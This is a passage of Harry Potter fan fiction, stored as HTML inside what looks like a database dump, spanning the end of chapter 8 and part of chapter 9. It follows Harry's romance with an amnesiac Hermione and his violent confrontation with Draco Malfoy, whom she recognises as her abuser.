hear it. I\'ve been wanting some closure for a long time. I\'ve lived\nthe past nine years of my life not knowing what I did, who I was, who I was\nwith, before I lost my memory.&quot; She looked up at Harry\'s face, it was\nmarred with guilt. &quot;Don\'t feel bad about this, Harry. I\'m glad you told\nme.&quot; She lightly touched his face with her fingertips. A dark lock of hair\nfell from her bun and across her face, and Harry reached up and brushed it away\nwith his hand. He caressed the side of her face gently, and Harry turned his\nburning green eyes onto her luminous brown ones.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nglad you might be my wife?&quot; he almost whispered, bringing his face closer\nto hers.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes&#8230;&quot;\nshe breathed, and not a moment later Harry\'s lips were on hers. His kiss was\ngentle, lightly brushing her soft lips. He pulled back and raised both hands to\nher face, tilting it at a better angle. He pressed his mouth to hers again;\nthis time his lips were more demanding. His tongue ran along her lower lip, he\ncould taste the vanilla flavor of the gloss she wore. Her lips parted under\nhis, allowing him entry into her mouth. He slid his tongue inside, where it\nclashed with hers, creating thrills that ran down her body. She wound her hands\naround the back of his neck, stroking the wild hair that lay back there, her\nnails lightly caressing his skin. He shivered under her touch, and tore his\nmouth from hers to kiss her throat, and he trailed his lips down the side of her\nneck to the spot that connected her shoulder to her neck. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She whimpered\nas his tongue traced patterns on her smooth skin, and he pulled his head back\nup and kissed her again on the mouth. He brought his hand up and pulled away\nthe band that held her hair back, the long tresses fell down her back and\nbounced from the weight. She flattened her palms against his broad chest and\nwas annoyed at the fabric that was in her way. Moving her hands down, she\npulled up on his shirt and broke the kiss only long enough to yank the shirt\nover his head and toss it away across the floor. Her mouth attacked his once\nmore and she pushed her tongue across his lips, teasing, knowing that she was\nmaking him crazy. One of his hands entangled itself into her silken hair, the other\nwas making it\'s way down her side, Harry went under the hem of her sweater and\npulled it up in the same fashion that she had done with his shirt. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He was\ndismayed to find she had on a camisole underneath the sweater, and his long\nfingers made quick work of pulling that off as well to join the rest of the\nclothing that had fallen to the floor. Now clad only in her bra, and him with\nno shirt on, the level of the passion they were both feeling was growing\nhigher. His hands lightly stroked her hair, up and down gently on her backside\nas their mouths hungrily attacked one another, the urgency to kiss each other\nas hard as possible was at an all time high. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry once\nagain pulled his mouth from hers, first drawing in a breath and then he made\nhis way back down her throat, kissing each part of her deeply. His hand\ntraveled down her side, to cup her breast. She threw her head back, gasping in\npleasure as he squeezed her gently, bringing his mouth down into the valley\nbetween her breasts and kissing her there. His thumb hooked into the strap of\nher bra, preparing to pull that off as well.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Alarm bells\nstarted to go off in Catherine\'s head, she was loving every moment of this, but\nshe couldn\'t let this go too much further or there could be consequences to\npay.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry&#8230;&quot;\nshe started to say softly, but he brought his head back up and was kissing her\nlips again. &quot;Harry wait, please&#8230;&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He drew back\nfrom her and opened his eyes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nsorry&#8230;&quot; she apologized. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Am I\ndoing something wrong?&quot; he asked, concerned. &quot;I\'m not being too pushy\nam I?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No, it\'s\nfine, you\'re not pushing me at all.&quot; She said. He nodded and pulled her\ninto his arms once more, not kissing her this time, but just holding her. Her\nhead was against his chest, and she could hear his heart beating rapidly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I just\ncan\'t help it&#8230;&quot; she found herself saying. &quot;I want to keep going, but\nsomething inside of me tells me to be careful and&#8230;&quot; Harry interrupted her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s all\nright, it really is. You\'re right, you were always the more sensible one.&quot;\nHe said before he could stop himself.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She raised her\nhead and looked up at him. &quot;I was?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He blushed.\n&quot;Well, yes, if you, you know, are&#8230;&quot; he trailed off.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;This\njust felt, right.&quot; She said thoughtfully. &quot;Not to bring up a sore\npoint, but I never felt so&#8230;. wanted, when I was with Duncan.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry made a\nsound in his throat and pulled her closer. &quot;No need to think about him\nanymore.&quot; he said. &quot;No one will ever treat you badly again, that I\ncan guarantee.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She smiled up\nat him, then leaned forward and kissed him once more. &quot;Thank you.&quot;\nShe said quietly. She brushed his lips again, and for a second time; they were\nkissing madly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry&#8230;.&quot;\nShe extracted herself from the entanglement of their arms and stood up. She\npicked up her shirt and sweater, then retrieved his and tossed it at him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nHarry asked, putting on the face of innocence. &quot;You don\'t like kissing me\nanymore?&quot; he pouted.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nshook her head playfully at him and pulled her sweater back over her head,\nleaving the camisole off. &quot;You know&#8230;&quot; she began, and her cheeks began\nto flush. &quot;I hope I don\'t sound too over eager by telling you this, but I\ndo hope that I am. Your wife.&quot; She said shyly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry pulled\nhis own shirt back over his head and looked at her. &quot;At this point, it\ndoesn\'t really matter.&quot; He said, getting to his feet and helping her up.\nHe pulled her into his warm embrace once more. Catherine felt a stirring inside\nherself again, and knew that if she did not leave soon, they\'d be at it back on\nthe couch again. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I have\nto go.&quot; She mumbled against his shoulder. His arms tightened around her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nwant you to&#8230;&quot; his own voice was muffled as his face was buried in her\nsweet smelling hair.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\neither&#8230;&quot; she said, and pulled back. &quot;But I think we\'ll get ourselves\ninto trouble if I stay.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\nprobably right.&quot; Harry groaned. &quot;But I want to see you again, and\nagain and again&#8230;&quot; he trailed off as she laughed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'d\nbetter get used to me, Harry Potter.&quot; She teased. He squeezed her hand as\nhe walked her to his door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'ll\ntalk to you later then.&quot; He said, tilting her chin up and kissing her\nsweetly once more. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;All\nright.&quot; She said, slipping out of the flat. He watched her as she\ndescended down the stairs to her own place. Once she had disappeared, he closed\nthe door, then leaned back against the wall and grinned.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Wow!! I\ncan\'t believe I just wrote that, I swear that music really helps things along&#8230;\nanyways, before some of you want to go and kill me for making them stop, if you\nwant good sex, not smut, go read Soul Scepter by Ryoko Blue, and Much Ado about\nHermione by kerry911, both of which helped me write the situation in this\nchapter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">I hope you\nenjoyed this I really do, that was my first graphic kissing scene. I hope now\nthat I have written one I can put out more ;) hehehee please, don\'t forget to\nRead and Review, and stay tuned for the next chapter!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 9, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 9</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A/N: Wow what\nan overwhelming response to chapter 8, every comment is definitely appreciated.\nI can\'t believe I converted someone to liking H/H, I tell you that just made my\nday. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Nappa- I\'m\nflattered you think I write as well as Ryoko, I really am ;)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Oh, and to the\nperson that actually printed out all those pages to RTM so far, THANK YOU! LOL\nthat was awesome when I read about that!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Anyways,\nthanks to all who reviewed, again, I\'m really flattered you guys like this\nstory!!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">This chapter\nis also RATED R, there are a few things that happen, one is nice and one is\njust...well, it\'s awful. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">And I\'m really\nglad the mood music worked for some people! There will be more in this story,\nat least one song towards the end, but I can\'t tell you what that is yet\nhehehehe</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry sat at\nhis kitchen table having his breakfast; his mood was very good despite the\nrainy cool day. It had been a very nice week for him; he had seen Catherine\nnearly every day, each time he would talk a little more about Hermione. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">During that time,\nHarry had won her complete trust. The night after they had made up, he had\ntaken her for a walk and told her about the potion, about Ron\'s information on\nthe curse. She had agreed to think about doing the potion after it was ready,\nin another week or so. Harry was pleased to see that he had been wrong about\nher- he had originally thought all the information and news about what could be\nher life would shatter her, but she was steadfast and strong, much like\nHermione had always been. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A tapping at\nthe window startled Harry from his thoughts; he was surprised to see the white\nowl he had sent to Caitlyn hovering outside his window. He quickly threw up the\nsash and let it in.&nbsp; It flew over the\ntable and dropped a thick piece of parchment, then landed next to Hedwig on her\nperch. Harry sat back down and picked up the parchment and unfolded it. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'Dad</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Thank you\nthank you thank you so much for my owl! I named her Bella! She\'s so pretty, I\nabsolutely love her. Hogwarts is so cool! Blue and I both got into Gryffindor,\nisn\'t that the house you were in? I hope so. Professor Dumbledore actually came\ninto our common room to talk to me the other day, he seemed to know what you\nhave been doing since you graduated and he\'s really nice and funny. And then there\nwas this really mean teacher named Professor Snape, he was really rude at\nfirst, and then when I answered all his questions right he gave me 10 points\nfor my house! He likes me now! He\'s actually really smart, he knows all about\npotions and stuff.\'&nbsp; Harry guffawed at\nthis loudly, and continued reading. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'So, are you\nand that lady Catherine friends again? I sort of met her in the hallway the day\nI left for school and gave her the key, I hope you don\'t mind. She\'s really\nnice, and she\'d probably make a good mum for me.\' At this, Harry blushed\nprofusely. She\'d obviously won the Caty seal of approval.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'Anyways, I\nhave to go now; I miss you and love you lots!!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caty Cat\' </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry shook\nhis head and grinned as he grabbed a fresh piece of parchment and scribbled off\na quick reply.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'Caty Cat -</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">I\'m glad you\nlike Professor Dumbledore; he was like a grandfather figure to me while I was\nat Hogwarts. As for Professor Snape actually liking someone, that came as a\nsurprise, he never liked your dear old dad. But I\'m glad he\'s treating you\nwell. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">As far as\nCatherine and I, yes, we\'ve made up, and we\'re seeing each other. No real news\nyet on her being your mum. But I promise to keep you posted.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Glad you\'re\nhaving a good time there, and behave&#8230;.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Love, Dad\'</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry folded\nthe parchment up and tied it to Bella\'s leg. She nipped at his finger much like\nHedwig did and flew back out the window. He stretched and stood in the middle\nof the kitchen for a moment, trying to compose his thoughts. Who\'d have thought,\nSnape, being nice to a Potter? He\'d be sure and mention this to Ron next time\nhe saw him.&nbsp; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry walked\ndown the hallway to his bathroom, where he hopped into the shower. He wanted to\ntake Catherine on a picnic today, but it looked like his plans would be ruined\nbecause of the rain.&nbsp; He looked through\nhis closet and realized he\'d have to do laundry soon. Shrugging; he pulled out\na long sleeved red t-shirt and his last clean pair of jeans. Going back into\nthe kitchen, he waved his wand and all the dishes in the sink were sparkling\nclean and put away in their proper place. He glanced at the clock on the wall;\nhe still had a good few hours until three, when he knew Catherine got off work.\nHe sat down at the table, bored for a few moments, and then he got an idea.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\ngrabbed an armload of books from the return table and headed for the shelves.\nShe climbed the tall ladder to stick \'Curses to Curse the Wart off your Nose by\nGibble de Gook back\' on the shelf. She began to climb back down when her foot\ngot stuck in one of the rungs. Books flew out of her arms as she fell\nbackwards, right into a strong pair of arms.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Save\nyour life!&quot; Harry said, holding her tightly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nrighted herself in his arms. &quot;Oh my God&#8230;thank God you were here!&quot; she\ngasped, trying to regain a normal heart rate. She shuddered, thinking about\nwhat would have happened if he\'d shown up even a second later.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry didn\'t\nlet go of her. &quot;Are you sure you\'re all right?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes,\nI\'ll be fine.&quot; She replied, smiling up at him. &quot;What brings you over\nhere?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry shrugged\nhis shoulders and grinned at her. &quot;I just wanted to see you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She couldn\'t\nstop her own grin. &quot;And you couldn\'t wait till after three?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nope.&quot;\nHarry said. &quot;How has your day been so far?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;All right\nI guess.&quot; She replied. &quot;I\'ve had a terrible headache all morning, so\nI can\'t wait to go home and take something for it.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,\nyou are in luck.&quot; Harry said smugly. &quot;I happen to have the best\n\'getting rid of headache\' techniques in the history of man.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nraised one eyebrow. &quot;Oh really?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yup.\nI\'ll be at your place at three fifteen.&quot; Harry said, and squeezed her hand.\nHe waved to her as he left the shop. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\ncould hardly wait till three. She busied herself for the next few hours,\nputting books away (she refused to climb back up the ladder again however) and\nwaiting on the few customers that came in. Finally, however, the clock struck\nthree and her replacement showed up. Waving a quick goodbye to her boss and\nfellow employees, she hastily hurried home. She pulled her hair out of the long\nponytail and shook it out, then yanked off the ugly shirt she had to wear as\npart of her uniform and put on a deep blue one.&nbsp;\nShe slicked some gloss across her lips and looked at herself in the mirror.\nShe looked a little flushed, but good.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A knock\nsounded resolutely through the apartment. Catherine opened the door, and smiled\nto see Harry on the other side.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\nearly.&quot; She said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Is that\na bad thing?&quot; he asked, coming into the flat.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Not at\nall.&quot; She said slyly. Catherine shut the door behind him and spun back\naround. She pulled the front of his shirt so that his body was pressed to hers,\nand then tilted her face back to look up at him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nknow, I never thanked you properly for saving me today&#8230;&quot; she said. Harry\ngrinned at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh yeah,\nthat\'s right.&quot; His face lowered to hers. &quot;I can think of a way&#8230;&quot;\nhe said, and then captured her mouth with his. His arms went around her waist\nwhile her hands threaded through his thick hair. Harry tightened his hold\naround her and pulled her even harder against himself. She deepened the kiss by\nopening her mouth under his, and he gently eased his tongue in to play with\nhers. Not breaking apart from each other, they managed to make their way into\nthe living room and fall onto the couch. Harry fell down first and pulled her\non top of him, running his hands up and down her back. She reached one hand up\nand pulled off his glasses, then gently caressed his face. He groaned into her\nmouth and rolled them over so that he was now on top of her, moving his hands\ndown her side so he could feel her skin under her shirt. Their kissing grew\nmore and more frenzied, until Harry rolled over once more, and Catherine hit\nher head on the coffee table.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ow!&quot;\nshe cried ruefully, bringing her hand up and rubbing the spot she hit.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nshit.&quot; Harry said apologetically. &quot;I\'m sorry&#8230;I guess we just got too\ncaught up in the moment&#8230;&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s all\nright.&quot; Catherine said. &quot;So much for my headache being gone.&quot;\nHarry pulled her hand away, and then sat back up on the couch. He drew her up\nnext to him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Here,\nsit just like this&#8230;&quot; Harry said, motioning for her to sit in his lap.\n&quot;Now just relax&#8230;&quot; he said in soothing tones, as he began to work his\nnimble fingers gently on her temples. He started rubbing in small, gentle\ncircles, slowly working them larger. Her body relaxed against him, and every\nonce in awhile she would let out a soft sigh of contentment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Thanks\nHarry&#8230;&quot; she murmured, leaning her head back against his shoulder. &quot;I\nfeel a lot better now.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Good.&quot;\nHarry said into her ear. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\ngood at this.&quot; She purred softly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m good\nat a lot of things&#8230;&quot; he said seductively. She turned her head to face him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nreally&#8230;&quot; she trailed off. &quot;Why don\'t you show me&#8230;.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry pushed\nher hair away so that he could kiss the back of her neck. He slowly worked a\ntrail down the side of her neck onto her shoulder, then cupped her face and\nturned it so he could kiss her on the lips once more. She moved her whole body\naround so that she could sit on top of him. He lay back down against the\ncushion and pulled her along with him. She crushed his lips with hers, kissing\nhim with a bruising passion. His hands trailed her skin as he reached down and\npulled up on her shirt, taking it off and throwing it to the floor. She was\nabout to do the same for him when they both heard the front door slam. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Cath?&quot;\nGrace\'s voice echoed into the living room. &quot;You home?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Shit.&quot;\nCatherine said, annoyed. &quot;Yes! I\'m home!&quot; she called out, hurriedly\nyanking her shirt back on. She turned and looked at Harry, who was slipping his\nglasses back over his nose. &quot;Why do we always get interrupted?&quot; she\nasked. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nknow.&quot; Harry said wryly. He pushed a lock of her hair into place for her\nand then wrapped his arm around her waist as Grace appeared in the doorway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hey Cath\nI want you to meet- Oh! I\'m sorry, I didn\'t know you were here!&quot; Grace\nsaid in surprise, giving Catherine and Harry a devilish look. &quot;Well the\ntwo of you then, I want you to meet someone.&quot; Grace turned and motioned to\nsomeone who was standing in the hallway. Harry and Catherine stood up from the\ncouch to meet Grace\'s newest and latest boyfriend.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry did not\nknow what he expected to see, but it certainly wasn\'t the smug and smiling face\nof Draco Malfoy.&nbsp; He clasped Grace\'s hand\nin his own, and his eyes first traveled to Harry, who stood there in shock, and\nthen to Catherine.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Granger?&quot;\nMalfoy uttered, his eyes gone wide in what Harry thought to be fear.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nGrace asked, turning to face Malfoy. She looked back at Catherine, who for some\nreason had gone pale. &quot;Do you know her? Why did you call her\nGranger?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\ndidn\'t know what was happening to her. Chills were racking her body as horrible\nscenes flashed across her eyes. The man who was holding her flat mate\'s hand,\nshe saw him in her memory, he was pushing her up against the wall, slapping\nher, biting her, starving her. Her knees grew weak and she fell to the floor,\nshaking uncontrollably.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Catherine!&quot;\nHarry exclaimed. He gently pulled her up by her arms and she let out a loud\ncry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;IT WAS\nHIM!&quot; she screamed. &quot;HIM! HE CURSED ME! HE BEAT ME!&quot; Catherine\nfell limply against the couch, tears streaming down her face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\'s eyes\nwidened in shock, and Grace, who had been unable to speak this whole time,\ndropped Malfoy\'s hand like it was on fire. She crossed the room and held her\nshaking friend, while Harry stood up, his eyes blazing angrily.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You.&quot;\nHarry said, deadly quiet. &quot;You cursed her to get to me didn\'t you?&quot;\nMalfoy backed away from Harry, looking scared. Harry crossed the room quickly\nand grabbed Malfoy by his shirt. &quot;YOU BASTARD WHAT DID YOU DO TO\nHER?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Malfoy sneered\nand tried to push Harry away from him, but he was no match for him, Harry slammed\nhim up against the wall so hard that the walls shook.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\ngoing to kill you.&quot; Harry said. &quot;I should have done so when I killed\nVoldemort, but I let you go, and that was how you repaid me.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Fuck you\nPotter! You took away everything that I had! It was you who killed my parents,\nit was you who took away my home, my money, everything! I told you then that\nI\'d pay you back, and I did.&quot; Malfoy spat. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry only saw\nhis blinding rage as he slammed his fist into Malfoy\'s face. Malfoy tried to\nhit back, but Harry caught his fist and then threw him onto the floor. The two\nmen grappled, Harry once again pummeling Malfoy anywhere he could, the face,\nthe stomach, the groin, anywhere he could inflict pain. Grace\'s screaming\nfinally brought Harry to a halt, as he saw that Malfoy was unconscious\nunderneath him. He pushed himself off and looked towards the two women.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\nGod&#8230;&quot; Harry said, rushing over to them. Catherine was obviously in shock,\ntears were still streaming down her face and she was mumbling gibberish while\nrocking herself back and forth.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We need\nto get her to the hospital!&quot; Grace said frantically. &quot;We\'ll have to\napparate over.&quot; Harry nodded and was about to gather Catherine in his arms\nwhen he looked over and remembered Malfoy.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\ngoing to have to take her.&quot; Harry said. &quot;I have to deal with him, and\nI will be right over.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace\nswallowed hard and nodded, first looking at Malfoy then over at Harry.\n&quot;Okay.&quot; She said. Harry gently pulled Catherine to her feet; she was\nlike a catatonic person, not realizing what was going on in front of her. Grace\ntook hold of her arm, and the two women apparated out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry grabbed\nMalfoy by his collar, and then apparated the two of them to Ron\'s office at the\nMinistry. Luckily for him, Ron was sitting behind his desk. His eyes widened\nwhen Harry appeared, clutching Malfoy around the neck.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What did\nyou do to him?&quot; Ron asked, rather gleefully as he looked at Malfoy\'s\nbloodied and beaten frame.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;He did\nit Ron. He was the one who cursed Hermione.&quot; Harry said flatly, dropping\nMalfoy on the floor like a dead weight. Ron looked at Harry in shock.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;He&#8230;.\nMalfoy?&quot; Ron asked. His expression turned from shock to anger. &quot;Get\nhim up, we\'ll take him to the IUOCD.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;The\nwhat?&quot; Harry asked as he hauled Malfoy up once more. He couldn\'t believe\nthat Malfoy was still unconscious.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;The\nIllegal Use of Curses Department.&quot; Ron answered. He held the door open for\nHarry and then helped support the dead weight of Malfoy\'s body as they marched\ndown the hall. He had finally started to regain consciousness by the time they\nreached the office.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry threw\nhim down into a chair, and then clamped a hand onto his shoulder. Ron went into\nthe back to get Mundungus Fletcher, the head of the department. Harry stared hatefully\nat Malfoy until the two men returned. He tried to calmly tell Fletcher what had\ntranspired that day, but found himself itching to start physically harming\nMalfoy once more. Ron had to hold his arm down as Harry recounted what\nCatherine had said and her reaction to it all.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Fletcher\nlooked at Malfoy. &quot;You\'re going to be locked up for a long time,\nboy.&quot; He said coolly. &quot;Use of an Unforgivable Curse is lifetime\nimprisonment in Azkaban.&quot; Malfoy\'s head snapped up.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Look\nwhat he did to me!&quot; he said, jerking his head towards Harry. &quot;I want\nto press charges, he had no right to harm me the way he did!&quot; he sniveled.\n</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Ron shook his\nhead sadly; he had to admit Malfoy had a point. &quot;You can worry about that\nlater&#8230;&quot; he said roughly as Fletcher magicked a pair of wizard handcuff\nonto Malfoy. He looked back up at Harry. &quot;You go to the hospital, I\'ll get\nin touch with you later.&quot; He said, and Harry nodded, and apparated out.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He arrived\njust in front of the hospital in downtown Diagon Alley, and he quickly rushed\ninside to the special care unit. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Catherine\nBeaumont\'s room please.&quot; Harry said, skidding to a halt in front of a\nsmall desk area.</p>\n\n<p 